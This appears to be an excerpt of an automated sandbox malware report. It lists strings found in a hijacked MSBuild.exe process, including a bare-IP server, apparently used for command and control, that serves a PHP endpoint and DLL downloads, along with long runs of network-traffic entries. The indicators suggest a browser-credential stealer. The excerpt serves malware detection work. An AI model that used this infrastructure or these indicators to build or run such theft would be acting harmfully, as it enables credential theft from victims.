Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll9h
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-msJY
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpEAU
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpT.
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpUP
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpe
Source: MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----HDGIJJDGCBKFIDHIEBKEaultrelease
Source: MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109GCFHIrm-data;
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498192346.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BKJDGCGD.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: BKJDGCGD.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BKJDGCGD.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://support.mozilla.org
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BKJDGCGD.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: MSBuild.exe, 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
